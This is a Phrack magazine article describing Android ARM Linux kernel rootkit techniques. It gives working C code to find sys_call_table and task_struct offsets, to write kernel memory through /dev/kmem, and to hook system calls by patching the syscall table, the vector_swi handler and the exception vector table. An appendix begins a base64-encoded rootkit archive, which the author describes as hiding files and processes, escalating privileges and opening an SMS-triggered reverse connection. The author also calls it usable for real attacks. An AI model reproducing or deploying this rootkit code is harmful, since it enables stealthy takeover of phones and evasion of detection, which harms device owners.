.:: Android Kernel Rootkit ::.

Current issue : #68 | **Release date** : **2012-04-14** | **Editor** : **The Phrack Staff** Get tar.gz

Title : Android Kernel Rootkit

Author : dong-hoon you

==Phrack Inc.==

Volume 0x0e, Issue 0x44, Phile #0x06 of 0x13

```
|=-----------------------------------------------------------------------=|
|=-----------=[ Android platform based linux kernel rootkit ]=-----------=|
|=-----------------------------------------------------------------------=|
|=-----------------=[ dong-hoon you <x82@inetcop.org> ]=-----------------=|
|=------------------------=[ April 04th 2011 ]=--------------------------=|
|=-----------------------------------------------------------------------=|
```

--[Contents

--[1 - Introduction

This paper covers rootkit techniques that can be used in linux kernel based on Android platform using ARM(Advanced RISC Machine) process. All the tests in this paper were performed in Motoroi XT720 model(2.6.29-omap1 kernel) and Galaxy S SHW-M110S model(2.6.32.9 kernel). Note that some contents may not apply to all smart platform machines and there are some bugs you can modify.

We have seen various linux kernel hooking techniques of some pioneers([1][2][3][4][5]). Especially, I appreciate to Silvio Cesare and sd who introduced and developed the /dev/kmem technique. Read the references for more information.

In this paper, we are going to discuss a few hooking techniques.

1. Simple and traditional hooking technique using kmem device.
2. Traditional hooking technique changing sys_call_table offset in vector_swi handler.
3. Two newly developed hooking techniques changing interrupt service routine handler in exception vector table.

The main concepts of the techniques mentioned in this paper are 'smart' and 'simple'. This is because this paper focuses on hooking through modifying the least kernel memory and by the simplest way. As the past good techniques were, hooking must be possible freely before and after system call.

This paper consists of eight parts and I tried to supply various examples for readers' convenience by putting abundant appendices. The example codes are written for ARM architecture, but if you modify some parts, you can use them in the environment of ia32 architecture and even in the environment that doesn't support LKM.

--[2 - Basic techniques for hooking

sys_call_table is a table which stores the addresses of low-level system routines. Most of classical hooking techniques interrupt the sys_call_table for some purposes. Because of this, some protection techniques such as hiding symbol and moving to the field of read-only have been adapted to protect sys_call_table from attackers. These protections, however, can be easily removed if an attacker uses kmem device access technique. To discuss other techniques making protection useless is beyond the purpose of this paper.

--[2.1 - Searching sys_call_table

If sys_call_table symbol is not exported and there is no sys_call_table information in kallsyms file which contains kernel symbol table information, it will be difficult to get the sys_call_table address that varies on each version of platform kernel. So, we need to research the way to get the address of sys_call_table without symbol table information.

You can find the similar techniques in the web[10], but apart from this, this paper is written to meet the Android platform on the way of testing.

--[2.1.1 - Getting sys_call_table address in vector_swi handler

At first, I will introduce the first two ways to get sys_call_table address The code I will introduce here is written dependently in the interrupt implementation of ARM process.

Generally, in the case of ARM process, when interrupt or exception happens, it branches to the exception vector table. In that exception vector table, there are exception hander addresses that match each exception handler routines. The kernel of present Android platform uses high vector (0xffff0000) and at the point of 0xffff0008, offset by 0x08, there is a 4 byte instruction to branch to the software interrupt handler. When the instruction runs, the address of the software interrupt handler stored in the address 0xffff0420, offset by 0x420, is called. See the section 5.1 for more information.

```
void get_sys_call_table(){
        void *swi_addr=(long *)0xffff0008;
        unsigned long offset=0;
        unsigned long *vector_swi_addr=0;
        unsigned long sys_call_table=0;

        offset=((*(long *)swi_addr)&0xfff)+8;
        vector_swi_addr=*(unsigned long *)(swi_addr+offset);

        while(vector_swi_addr++){
                if(((*(unsigned long *)vector_swi_addr)&
                0xfffff000)==0xe28f8000){
                        offset=((*(unsigned long *)vector_swi_addr)&
                        0xfff)+8;
                        sys_call_table=(void *)vector_swi_addr+offset;
                        break;
                }
        }
        return;
}
```

At first, this code gets the address of vector_swi routine(software interrupt process exception handler) in the exception vector table of high vector and then, gets the address of a code that handles the sys_call_table address. The followings are some parts of vector_swi handler code.

```
000000c0 <vector_swi>:
    c0: e24dd048 sub     sp, sp, #72     ; 0x48 (S_FRAME_SIZE)
    c4: e88d1fff stmia   sp, {r0 - r12}  ; Calling r0 - r12
    c8: e28d803c add     r8, sp, #60     ; 0x3c (S_PC)
    cc: e9486000 stmdb   r8, {sp, lr}^   ; Calling sp, lr
    d0: e14f8000 mrs     r8, SPSR        ; called from non-FIQ mode, so ok.
    d4: e58de03c str     lr, [sp, #60]   ; Save calling PC
    d8: e58d8040 str     r8, [sp, #64]   ; Save CPSR
    dc: e58d0044 str     r0, [sp, #68]   ; Save OLD_R0
```

```
    e0: e3a0b000 mov     fp, #0  ; 0x0   ; zero fp
    e4: e3180020 tst     r8, #32 ; 0x20  ; this is SPSR from save_user_regs
    e8: 12877609 addne   r7, r7, #9437184; put OS number in
    ec: 051e7004 ldreq   r7, [lr, #-4]
    f0: e59fc0a8 ldr     ip, [pc, #168]  ; 1a0 <__cr_alignment>
    f4: e59cc000 ldr     ip, [ip]
    f8: ee01cf10 mcr     15, 0, ip, cr1, cr0, {0} ; update control register
    fc: e321f013 msr     CPSR_c, #19     ; 0x13 enable_irq
   100: e1a096ad mov     r9, sp, lsr #13 ; get_thread_info tsk
   104: e1a09689 mov     r9, r9, lsl #13
[*]108: e28f8094 add     r8, pc, #148    ; load syscall table pointer
   10c: e599c000 ldr     ip, [r9]        ; check for syscall tracing
```

The asterisk part is the code of sys_call_table. This code notifies the start of sys_call_table at the appointed offset from the present pc address. So, we can get the offset value to figure out the position of sys_call_table if we can find opcode pattern corresponding to "add r8, pc" instruction.

```
opcode: 0xe28f8???

if(((*(unsigned long *)vector_swi_addr)&0xfffff000)==0xe28f8000){
        offset=((*(unsigned long *)vector_swi_addr)&0xfff)+8;
        sys_call_table=(void *)vector_swi_addr+offset;
        break;
```

From this, we can get the address of sys_call_table handled in vector_swi handler routine. And there is an easier way to do this.

--[2.1.2 - Finding sys_call_table addr through sys_close addr searching

The second way to get the address of sys_call_table is simpler than the way introduced in 2.1.1. This way is to find the address by using the fact that sys_close address, with open symbol, is in 0x6 offset from the starting point of sys_call_table.

```
... the same vector_swi address searching routine parts omitted ...

        while(vector_swi_addr++){
                if(*(unsigned long *)vector_swi_addr==&sys_close){
                        sys_call_table=(void *)vector_swi_addr-(6*4);
                        break;
                }
        }
}
```

By using the fact that sys_call_table resides after vector_swi handler address, we can search the sys_close which is appointed as the sixth system call of sys_table_call.

```
fs/open.c:
EXPORT_SYMBOL(sys_close);
...

call.S:
/* 0 */         CALL(sys_restart_syscall)
                CALL(sys_exit)
                CALL(sys_fork_wrapper)
                CALL(sys_read)
                CALL(sys_write)
/* 5 */         CALL(sys_open)
                CALL(sys_close)
```

This searching way has a technical disadvantage that we must get the sys_close kernel symbol address beforehand if it's implemented in user mode.

--[2.2 - Identifying sys_call_table size

The hooking technique which will be introduced in section 4 changes the sys_call_table handle code within vector_swi handler. It generates the copy of the existing sys_call_table in the heap memory. Because the size of sys_call_table varies in each platform kernel version, we need a precise size of sys_call_table to generate a copy.

```
... the same vector_swi address searching routine parts omitted ...

        while(vector_swi_addr++){
                if(((*(unsigned long *)vector_swi_addr)&
                0xffff0000)==0xe3570000){
                        i=0x10-(((*(unsigned long *)vector_swi_addr)&
                        0xff00)>>8);
                        size=((*(unsigned long *)vector_swi_addr)&
                        0xff)<<(2*i);
                        break;
                }
        }
}
```

This code searches code which controls the size of sys_call_table within vector_swi routine and then gets the value, the size of sys_call_table. The following code determines the size of sys_call_table, and it makes a part of a function that calls system call saved in sys_call_table.

```
   118: e92d0030 stmdb   sp!, {r4, r5}   ; push fifth and sixth args
   11c: e31c0c01 tst     ip, #256        ; are we tracing syscalls?
   120: 1a000008 bne     148 <__sys_trace>
[*]124: e3570f5b cmp     r7, #364        ; check upper syscall limit
   128: e24fee13 sub     lr, pc, #304    ; return address
   12c: 3798f107 ldrcc   pc, [r8, r7, lsl #2] ; call sys_* routine
```

The asterisk part compares the size of sys_call_table. This code checks if the r7 register value which contains system call number is bigger than syscall limit. So, if we search opcode pattern(0xe357????) corresponding to "cmp r7", we can get the exact size of sys_call_table. For your information, all of the offset values can be obtained by using ARM architecture operand counting method.

--[2.3 - Getting over the problem of structure size in kernel versions

Even if you are using the same version of kernels, the size of structure varies according to the compile environments and config options. Thus, if we use a wrong structure with a wrong size, it is not likely to work as we expect. To prevent errors caused by the difference of structure offset and to enable our code to work in various kernel environments, we need to build a function which gets the offset needed from the structure.

```
void find_offset(void){
        unsigned char *init_task_ptr=(char *)&init_task;
        int offset=0,i;
        char *ptr=0;

        /* getting the position of comm offset
           within task_struct structure */
        for(i=0;i<0x600;i++){
                if(init_task_ptr[i]=='s'&&init_task_ptr[i+1]=='w'&&
                init_task_ptr[i+2]=='a'&&init_task_ptr[i+3]=='p'&&
                init_task_ptr[i+4]=='p'&&init_task_ptr[i+5]=='e'&&
                init_task_ptr[i+6]=='r'){
                        comm_offset=i;
                        break;
                }
        }
        /* getting the position of tasks.next offset
           within task_struct structure */
        init_task_ptr+=0x50;
        for(i=0x50;i<0x300;i+=4,init_task_ptr+=4){
                offset=*(long *)init_task_ptr;
                if(offset&&offset>0xc0000000){
                        offset-=i;
                        offset+=comm_offset;
                        if(strcmp((char *)offset,"init")){
                                continue;
                        } else {
                                next_offset=i;
```

```
                                /* getting the position of parent offset
                                   within task_struct structure */
                                for(;i<0x300;i+=4,init_task_ptr+=4){
                                        offset=*(long *)init_task_ptr;
                                        if(offset&&offset>0xc0000000){
                                                offset+=comm_offset;
                                                if(strcmp
                                                ((char *)offset,"swapper"))
                                                {
                                                        continue;
                                                } else {
                                                        parent_offset=i+4;
                                                        break;
                                                }
                                        }
                                }
                                break;
                        }
                }
        }
        /* getting the position of cred offset
           within task_struct structure */
        init_task_ptr=(char *)&init_task;
        init_task_ptr+=comm_offset;
        for(i=0;i<0x50;i+=4,init_task_ptr-=4){
                offset=*(long *)init_task_ptr;
                if(offset&&offset>0xc0000000&&offset<0xd0000000&&
                        offset==*(long *)(init_task_ptr-4)){
                        ptr=(char *)offset;
                        if(*(long *)&ptr[4]==0&&
                                *(long *)&ptr[8]==0&&
                                *(long *)&ptr[12]==0&&
                                *(long *)&ptr[16]==0&&
                                *(long *)&ptr[20]==0&&
                                *(long *)&ptr[24]==0&&
                                *(long *)&ptr[28]==0&&
                                *(long *)&ptr[32]==0){
                                cred_offset=i;
                                break;
                        }
                }
        }
        /* getting the position of pid offset
           within task_struct structure */
        pid_offset=parent_offset-0xc;

        return;
}
```

This code gets the information of PCB(process control block) using some features that can be used as patterns of task_struct structure.

First, we need to search init_task for the process name "swapper" to find out address of "comm" variable within task_struct structure created before init process. Then, we search for "next" pointer from "tasks" which is a linked list of process structure. Finally, we use "comm" variable to figure out whether the process has a name of "init". If it does, we get the offset address of "next" pointer.

```
include/linux/sched.h:
struct task_struct {
...
        struct list_head tasks;
...
        pid_t pid;
...
        struct task_struct *real_parent; /* real parent process */
        struct task_struct *parent; /* recipient of SIGCHLD,
                                        wait4() reports */
...
        const struct cred *real_cred; /* objective and
                                        real subjective task
                                        * credentials (COW) */
```

```
        const struct cred *cred; /* effective (overridable)
                                    subjective task */
        struct mutex cred_exec_mutex; /* execve vs ptrace cred
                                    calculation mutex */

        char comm[TASK_COMM_LEN]; /* executable name ... */
```

After this, we get the parent pointer by checking some pointers. And if this is a right parent pointer, it has the name of previous task(init_task) process, swapper. The reason we search the address of parent pointer is to get the offset of pid variable by using a parent offset as a base point.

To get the position of cred structure pointer related with task privilege, we perform backward search from the point of comm variable and check if the id of each user is 0.

--[2.4 - Treating version magic

Check the whitepaper[11] of Christian Papathanasiou and Nicholas J. Percoco in Defcon 18. The paper introduces the way of treating version magic by modifying the header of utsrelease.h when we compile LKM rootkit module. In fact, I have used a tool which overwrites the vermagic value of compiled kernel module binary directly before they presented.

--[3 - sys_call_table hooking through /dev/kmem access technique

I hope you take this section as a warming-up. If you want to know more detailed background knowledge about /dev/kmem access technique, check the "Run-time kernel patching" by Silvio and "Linux on-the-fly kernel patching without LKM" by sd.

At least until now, the root privilege of access to /dev/kmem device within linux kernel in Android platform is allowed. So, it is possible to move through lseek() and to read through read(). Newly written /dev/kmem access routines are as follows.

```
#define MAP_SIZE 4096UL
#define MAP_MASK (MAP_SIZE - 1)

int kmem;

/* read data from kmem */
void read_kmem(unsigned char *m,unsigned off,int sz)
{
        int i;
        void *buf,*v_addr;

        if((buf=mmap(0,MAP_SIZE*2,PROT_READ|PROT_WRITE,
        MAP_SHARED,kmem,off&~MAP_MASK))==(void *)-1){
                perror("read: mmap error");
                exit(0);
        }
        for(i=0;i<sz;i++){
                v_addr=buf+(off&MAP_MASK)+i;
                m[i]=*((unsigned char *)v_addr);
        }
        if(munmap(buf,MAP_SIZE*2)==-1){
                perror("read: munmap error");
                exit(0);
        }
        return;
}

/* write data to kmem */
void write_kmem(unsigned char *m,unsigned off,int sz)
{
        int i;
        void *buf,*v_addr;

        if((buf=mmap(0,MAP_SIZE*2,PROT_READ|PROT_WRITE,
        MAP_SHARED,kmem,off&~MAP_MASK))==(void *)-1){
                perror("write: mmap error");
```

```
                exit(0);
        }
        for(i=0;i<sz;i++){
                v_addr=buf+(off&MAP_MASK)+i;
                *((unsigned char *)v_addr)=m[i];
        }
        if(munmap(buf,MAP_SIZE*2)==-1){
                perror("write: munmap error");
                exit(0);
        }
        return;
}
```

This code makes the kernel memory address we want shared with user memory area as much as the size of two pages and then we can read and write the kernel by reading and writing on the shared memory. Even though the searched sys_call_table is allocated in read-only area, we can simply modify the contents of sys_call_table through /dev/kmem access technique. The example of hooking through sys_call_table modification is as follows.

```
kmem=open("/dev/kmem",O_RDWR|O_SYNC);
if(kmem<0){
        return 1;
}
...
if(c=='I'||c=='i'){ /* install */
        addr_ptr=(char *)get_kernel_symbol("hacked_getuid");
        write_kmem((char *)&addr_ptr,addr+__NR_GETUID*4,4);
        addr_ptr=(char *)get_kernel_symbol("hacked_writev");
        write_kmem((char *)&addr_ptr,addr+__NR_WRITEV*4,4);
        addr_ptr=(char *)get_kernel_symbol("hacked_kill");
        write_kmem((char *)&addr_ptr,addr+__NR_KILL*4,4);
        addr_ptr=(char *)get_kernel_symbol("hacked_getdents64");
        write_kmem((char *)&addr_ptr,addr+__NR_GETDENTS64*4,4);
} else if(c=='U'||c=='u'){ /* uninstall */
        ...
}
close(kmem);
```

The attack code can be compiled in the mode of LKM module and general ELF32 executable file format.

--[4 - modifying sys_call_table handle code in vector_swi handler routine

The techniques introduced in section 3 are easily detected by rootkit detection tools. So, some pioneers have researched the ways which modify some parts of exception handler function processing software interrupt. The technique introduced in this section generates a copy version of sys_call_table in kernel heap memory without modifying the sys_call_table directly.

```
static void *hacked_sys_call_table[500];
static void **sys_call_table;
int sys_call_table_size;
...

int init_module(void){
...
        get_sys_call_table(); // position and size of sys_call_table
        memcpy(hacked_sys_call_table,sys_call_table,sys_call_table_size*4);
```

After generating this copy version, we have to modify some parts of sys_call_table processed within vector_swi handler routine. It is because sys_call_table is handled as a offset, not an address. It is a feature that separates ARM architecture from ia32 architecture.

```
code before compile:
ENTRY(vector_swi)
...
        get_thread_info tsk
        adr     tbl, sys_call_table ; load syscall table pointer
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~ -> code of sys_call_table
        ldr     ip, [tsk, #TI_FLAGS] ; @ check for syscall tracing
```

```
code after compile:
000000c0 <vector_swi>:
...
   100: e1a096ad mov     r9, sp, lsr #13 ; get_thread_info tsk
   104: e1a09689 mov     r9, r9, lsl #13
[*]108: e28f8094 add     r8, pc, #148    ; load syscall table pointer
                 ~~~~~~~~~~~~~~~~~~~~
                 +-> deal sys_call_table as relative offset
   10c: e599c000 ldr     ip, [r9]        ; check for syscall tracing

So, I contrived a hooking technique modifying "add r8, pc, #offset" code
itself like this.

before modifying: e28f80??      add     r8, pc, #??
after  modifying: e59f80??      ldr     r8, [pc, #??]

These instructions get the address of sys_call_table at the specified
offset from the present pc address and then store it in r8 register. As a
result, the address of sys_call_table is stored in r8 register. Now, we
have to make a separated space to store the address of sys_call_table copy
near the processing routine. After some consideration, I decided to
overwrite nop code of other function's epilogue near vector_swi handler.

00000174 <__sys_trace_return>:
   174: e5ad0008 str     r0, [sp, #8]!
   178: e1a02007 mov     r2, r7
   17c: e1a0100d mov     r1, sp
   180: e3a00001 mov     r0, #1  ; 0x1
   184: ebfffffe bl      0 <syscall_trace>
   188: eaffffb1 b       54 <ret_to_user>
[*]18c: e320f000 nop     {0}
        ~~~~~~~~ -> position to overwrite the copy of sys_call_table
   190: e320f000 nop     {0}
        ...

  000001a0 <__cr_alignment>:
   1a0: 00000000                                ....

  000001a4 <sys_call_table>:

Now, if we count the offset from the address of sys_call_table to the
address overwritten with the address of sys_call_table copy and then modify
code, we can use the table we copied whenever system call is called. The
hooking code modifying some parts of vector_swi handling routine and nop
code near the address of sys_call_table is as follows:

void install_hooker(){
        void *swi_addr=(long *)0xffff0008;
        unsigned long offset=0;
        unsigned long *vector_swi_addr=0,*ptr;
        unsigned char buf[MAP_SIZE+1];
        unsigned long modify_addr1=0;
        unsigned long modify_addr2=0;
        unsigned long addr=0;
        char *addr_ptr;

        offset=((*(long *)swi_addr)&0xfff)+8;
        vector_swi_addr=*(unsigned long *)(swi_addr+offset);

        memset((char *)buf,0,sizeof(buf));
        read_kmem(buf,(long)vector_swi_addr,MAP_SIZE);
        ptr=(unsigned long *)buf;

        /* get the address of ldr that handles sys_call_table */
        while(ptr){
                if(((*(unsigned long *)ptr)&0xfffff000)==0xe28f8000){
                        modify_addr1=(unsigned long)vector_swi_addr;
                        break;
                }
                ptr++;
                vector_swi_addr++;
        }
        /* get the address of nop that will be overwritten */
```

```
        while(ptr){
                if(*(unsigned long *)ptr==0xe320f000){
                        modify_addr2=(unsigned long)vector_swi_addr;
                        break;
                }
                ptr++;
                vector_swi_addr++;
        }

        /* overwrite nop with hacked_sys_call_table */
        addr_ptr=(char *)get_kernel_symbol("hacked_sys_call_table");
        write_kmem((char *)&addr_ptr,modify_addr2,4);

        /* calculate fake table offset */
        offset=modify_addr2-modify_addr1-8;

        /* change sys_call_table offset into fake table offset */
        addr=0xe59f8000+offset; /* ldr r8, [pc, #offset] */
        addr_ptr=(char *)addr;
        write_kmem((char *)&addr_ptr,modify_addr1,4);

        return;
}
```

This code gets the address of the code that handles sys_call_table within vector_swi handler routine, and then finds nop code around and stores the address of hacked_sys_call_table which is a copy version of sys_call_table. After this, we get the sys_call_table handle code from the offset in which hacked_sys_call_table resides and then hooking starts.

--[5 - exception vector table modifying hooking techniques

This section discusses two hooking techniques, one is the hooking technique which changes the address of software interrupt exception handler routine within exception vector table and the other is the technique which changes the offset of code branching to vector_swi handler. The purpose of these two techniques is to implement the hooking technique that modifies only exception vector table without changing sys_call_table and vector_swi handler.

--[5.1 - exception vector table

Exception vector table contains the address of various exception handler routines, branch code array and processing codes to call the exception handler routine. These are declared in entry-armv.S, copied to the point of the high vector(0xffff0000) by early_trap_init() routine within traps.c code, and make one exception vector table.

```
traps.c:
void __init early_trap_init(void)
{
        unsigned long vectors = CONFIG_VECTORS_BASE; /* 0xffff0000 */
        extern char __stubs_start[], __stubs_end[];
        extern char __vectors_start[], __vectors_end[];
        extern char __kuser_helper_start[], __kuser_helper_end[];
        int kuser_sz = __kuser_helper_end - __kuser_helper_start;

        /*
         * Copy the vectors, stubs and kuser helpers
        (in entry-armv.S)
         * into the vector page, mapped at 0xffff0000,
        and ensure these
         * are visible to the instruction stream.
         */
        memcpy((void *)vectors, __vectors_start,
        __vectors_end - __vectors_start);
        memcpy((void *)vectors + 0x200, __stubs_start,
        __stubs_end - __stubs_start);
```

After the processing codes are copied in order by early_trap_init() routine, the exception vector table is initialized, then one exception vector table is made as follows.

```
# ./coelacanth -e
[000] ffff0000: ef9f0000 [Reset]          ; svc 0x9f0000 branch code array
[004] ffff0004: ea0000dd [Undef]          ; b   0x380
[008] ffff0008: e59ff410 [SWI]            ; ldr pc, [pc, #1040] ; 0x420
[00c] ffff000c: ea0000bb [Abort-perfetch] ; b   0x300
[010] ffff0010: ea00009a [Abort-data]     ; b   0x280
[014] ffff0014: ea0000fa [Reserved]       ; b   0x404
[018] ffff0018: ea000078 [IRQ]            ; b   0x608
[01c] ffff001c: ea0000f7 [FIQ]            ; b   0x400
[020] Reserved
... skip ...
[22c] ffff022c: c003dbc0 [__irq_usr] ; exception handler routine addr array
[230] ffff0230: c003d920 [__irq_invalid]
[234] ffff0234: c003d920 [__irq_invalid]
[238] ffff0238: c003d9c0 [__irq_svc]
[23c] ffff023c: c003d920 [__irq_invalid]
...
[420] ffff0420: c003df40 [vector_swi]
```

When software interrupt occurs, 4 byte instruction at 0xffff0008 is executed. The code copies the present pc to the address of exception handler and then branches. In other words, it branches to the vector_swi handler routine at 0x420 of exception vector table.

--[5.2 - Hooking techniques changing vector_swi handler

The hooking technique changing the vector_swi handler is the first one that will be introduced. It changes the address of exception handler routine that processes software interrupt within exception vector table and calls the vector_swi handler routine forged by an attacker.

1. Generate the copy version of sys_call_table in kernel heap and then change the address of routine as aforementioned.
2. Copy not all vector_swi handler routine but the code before handling sys_call_table to kernel heap for simple hooking.
3. Fill the values with right values for the copied fake vector_swi handler routine to act normally and change the code to call the address of sys_call_table copy version. (generated in step 1)
4. Jump to the next position of sys_call_table handle code of original vector_swi handler routine.
5. Change the address of vector_swi handler routine of exception vector table to the address of fake vector_swi handler code.

The completed fake vector_swi handler has a code like following.

```
00000000 <new_vector_swi>:
    00: e24dd048 sub     sp, sp, #72     ; 0x48
    04: e88d1fff stmia   sp, {r0 - r12}
    08: e28d803c add     r8, sp, #60     ; 0x3c
    0c: e9486000 stmdb   r8, {sp, lr}^
    10: e14f8000 mrs     r8, SPSR
    14: e58de03c str     lr, [sp, #60]
    18: e58d8040 str     r8, [sp, #64]
    1c: e58d0044 str     r0, [sp, #68]
    20: e3a0b000 mov     fp, #0  ; 0x0
    24: e3180020 tst     r8, #32 ; 0x20
    28: 12877609 addne   r7, r7, #9437184
    2c: 051e7004 ldreq   r7, [lr, #-4]
 [*]30: e59fc020 ldr     ip, [pc, #32]  ; 0x58 <__cr_alignment>
    34: e59cc000 ldr     ip, [ip]
    38: ee01cf10 mcr     15, 0, ip, cr1, cr0, {0}
    3c: f1080080 cpsie   i
    40: e1a096ad mov     r9, sp, lsr #13
    44: e1a09689 mov     r9, r9, lsl #13
 [*]48: e59f8000 ldr     r8, [pc, #0]
 [*]4c: e59ff000 ldr     pc, [pc, #0]
 [*]50: <hacked_sys_call_table address>
 [*]54: <vector_swi address to jmp>
 [*]58: <__cr_alignment routine address referring at 0x30>
```

The asterisk parts are the codes modified or added to the original code. In addition to the part that we modified to make the code refer __cr_alignment function, I added some instructions to save address of sys_call_table copy version to r8 register, and jump back to the original vector_swi handler function. Following is the attack code written as a kernel module.

```
static unsigned char new_vector_swi[500];
...

void make_new_vector_swi(){
        void *swi_addr=(long *)0xffff0008;
        void *vector_swi_ptr=0;
        unsigned long offset=0;
        unsigned long *vector_swi_addr=0,orig_vector_swi_addr=0;
        unsigned long add_r8_pc_addr=0;
        unsigned long ldr_ip_pc_addr=0;
        int i;

        offset=((*(long *)swi_addr)&0xfff)+8;
        vector_swi_addr=*(unsigned long *)(swi_addr+offset);
        vector_swi_ptr=swi_addr+offset; /* 0xffff0420 */
        orig_vector_swi_addr=vector_swi_addr; /* vector_swi's addr */

        /* processing __cr_alignment */
        while(vector_swi_addr++){
                if(((*(unsigned long *)vector_swi_addr)&
                0xfffff000)==0xe28f8000){
                        add_r8_pc_addr=(unsigned long)vector_swi_addr;
                        break;
                }
                /* get __cr_alingment's addr */
                if(((*(unsigned long *)vector_swi_addr)&
                0xfffff000)==0xe59fc000){
                        offset=((*(unsigned long *)vector_swi_addr)&
                        0xfff)+8;
                        ldr_ip_pc_addr=*(unsigned long *)
                        ((char *)vector_swi_addr+offset);
                }
        }
        /* creating fake vector_swi handler */
        memcpy(new_vector_swi,(char *)orig_vector_swi_addr,
        (add_r8_pc_addr-orig_vector_swi_addr));
        offset=(add_r8_pc_addr-orig_vector_swi_addr);
        for(i=0;i<offset;i+=4){
                if(((*(long *)&new_vector_swi[i])&
                0xfffff000)==0xe59fc000){
                        *(long *)&new_vector_swi[i]=0xe59fc020;
                        // ldr ip, [pc, #32]
                        break;
                }
        }
        /* ldr r8, [pc, #0] */
        *(long *)&new_vector_swi[offset]=0xe59f8000;
        offset+=4;
        /* ldr pc, [pc, #0] */
        *(long *)&new_vector_swi[offset]=0xe59ff000;
        offset+=4;
        /* fake sys_call_table */
        *(long *)&new_vector_swi[offset]=hacked_sys_call_table;
        offset+=4;
        /* jmp original vector_swi's addr */
        *(long *)&new_vector_swi[offset]=(add_r8_pc_addr+4);
        offset+=4;
        /* __cr_alignment's addr */
        *(long *)&new_vector_swi[offset]=ldr_ip_pc_addr;
        offset+=4;

        /* change the address of vector_swi handler
           within exception vector table */
        *(unsigned long *)vector_swi_ptr=&new_vector_swi;

        return;
}
```

This code gets the address which processes the sys_call_table within vector_swi handler routine and then copies original contents of vector_swi

to the fake vector_swi variable before the address we obtained. After
changing some parts of fake vector_swi to make the code refer _cr_alignment
function address correctly, we need to add instructions that save the
address of sys_call_table copy version to r8 register and jump back to the
original vector_swi handler function. Finally, hooking starts when we
modify the address of vector_swi handler function within exception vector
table.

--[5.3 - Hooking techniques changing branch instruction offset

The second hooking technique to change the branch instruction offset within
exception vector table is that we don't change vector_swi handler and
change the offset of 4 byte branch instruction code called automatically
when the software interrupt occurs.

1. Proceed to step 4 like the way in section 5.1.
2. Store the address of generated fake vector_swi handler routine
   in the specific area within exception vector table.
3. Change 1 byte which is an offset of 4 byte instruction codes at
   0xffff0008 and store.

The code compared with section 5.2 is as follows.

```
- *(unsigned long *)vector_swi_ptr=&new_vector_swi;
...
+ *(unsigned long *)(vector_swi_ptr+4)=&new_vector_swi; /* 0xffff0424 */
...
+ *(unsigned long *)swi_addr+=4; /* 0xe59ff410 -> 0xe59ff414 */
```

The changed exception vector table after hooking is as follows.

```
# ./coelacanth -e
[000] ffff0000: ef9f0000 [Reset]          ; svc 0x9f0000 branch code array
[004] ffff0004: ea0000dd [Undef]          ; b   0x380
[008] ffff0008: e59ff414 [SWI]            ; ldr pc, [pc, #1044] ; 0x424
[00c] ffff000c: ea0000bb [Abort-perfetch] ; b   0x300
[010] ffff0010: ea00009a [Abort-data]     ; b   0x280
[014] ffff0014: ea0000fa [Reserved]       ; b   0x404
[018] ffff0018: ea000078 [IRQ]            ; b   0x608
[01c] ffff001c: ea0000f7 [FIQ]            ; b   0x400
[020] Reserved
... skip ...
[420] ffff0420: c003df40 [vector_swi]
[424] ffff0424: bf0ceb5c [new_vector_swi] ; fake vector_swi handler code
```

Hooking starts when the address of a fake vector_swi handler code is stored
at 0xffff0424 and the 4 byte branch instruction offset at 0xffff0008
changes the address around 0xffff0424 for reference.

--[6 - Conclusion

One more time, I thank many pioneers for their devotion and inspiration.
I also hope various Android rootkit researches to follow. It is a pity
that I couldn't cover all the ideas that occurred in my mind during
writing this paper. However, I also think that it is better to discuss
the advanced and practical techniques next time -if you like this one ;-)-.

For more information, the attached example code provides not only file &
process hiding and kernel module hiding features but also the classical
rootkit features such as admin privilege succession to specific gid user
and process privilege changing. I referred to the Defcon 18 whitepaper of
Christian Papathanasiou and Nicholas J. Percoco for performing the reverse
connection when we receive a sms message from an appointed phone number.

Thanks to:
vangelis and GGUM for translating Korean into English. Other than those who
helped me on this paper, I'd like to thank my colleagues, people in my
graduate school and everyone who knows me.

--[7 - References

```
 [1] "Abuse of the Linux Kernel for Fun and Profit" by halflife
     [Phrack issue 50, article 05]

 [2] "Weakening the Linux Kernel" by plaguez
     [Phrack issue 52, article 18]

 [3] "RUNTIME KERNEL KMEM PATCHING" by Silvio Cesare
     [runtime-kernel-kmem-patching.txt]

 [4] "Linux on-the-fly kernel patching without LKM" by sd & devik
     [Phrack issue 58, article 07]

 [5] "Handling Interrupt Descriptor Table for fun and profit" by kad
     [Phrack issue 59, article 04]

 [6] "trojan eraser or i want my system call table clean" by riq
     [Phrack issue 54, article 03]

 [7] "yet another article about stealth modules in linux" by riq
     ["abtrom: anti btrom" in a mail to Bugtraq]

 [8] "Saint Jude, The Model" by Timothy Lawless
     [http://prdownloads.sourceforge.net/stjude/StJudeModel.pdf]

 [9] "IA32 ADVANCED FUNCTION HOOKING" by mayhem
     [Phrack issue 58, article 08]

[10] "Android LKM Rootkit" by fred
     [http://upche.org/doku.php?id=wiki:rootkit]

[11] "This is not the droid you're looking for..." by Trustwave
     [DEFCON-18-Trustwave-Spiderlabs-Android-Rootkit-WP.pdf]
```


```
--[ 8 - Appendix: earthworm.tgz.uu

I attach a demo code to demonstrate the concepts which I explained in this
paper. This code can be used as a real code for attack or just a proof-of-
concept code. I wish you use this code only for your study not for a bad
purpose.

<++> earthworm.tgz.uu
begin-base64 644 earthworm.tgz
```


```
H4sIAH8LtU0AA+w9aXfTyLLzNTqH/9DjgSA5krc4CwnmXR5kIJewnASGO4/J
0ZHltq2xtiPJWQa4v/1VdbdkSZYTJxMCDO0TEquX6uraurq6WlArSsanQeQ1
f/pin1ar29ra2IC/7FP+y7632xvdzU6r3cFyeNjY+olsfDmUZp9pnFgRIT9F
QZBc1O6y+u/0QzP+x+exaVuuayZW36UN++bGaLVbrc1udwH/21vrG+sl/ne3
2u2fSOvmUFj8+cH536wrdfwhb8dOTODHCkPqD5wzEgxJMqbkzTiy7AlRT09P
GyH73giikUZAbhzbpTvY97E/iAJnQELXSoYgS6RvxXRAXMefnpEJjXzqEqTf
xEmweVHSyDgIJo4/InYwoAKZx67LBk9onMTklEaUDAKfksAnL4MkgMHIf95u
dVrEgz6u2mlsNjoPjMCzwrYYT0Mwlj8gzyzXOjsnR+To+XvjZbvdOsp1Wu80
HqQdGtjjVZDAqGMrIXHgUUDJT6gPKHjWOfGDBKnjnpMkIIA+iT0gwmzSnmWP
HZ/G6cgwAcDbgn8MVn86isl5MCW25SMKzvC8kac9Tp/V9SmZIvksYAaJqOXy
KhiDWEmCzIBvf4LcQnUIZB0a8INgAFubhglr3iD75NSJx2xEAAfYpGMEPkwB
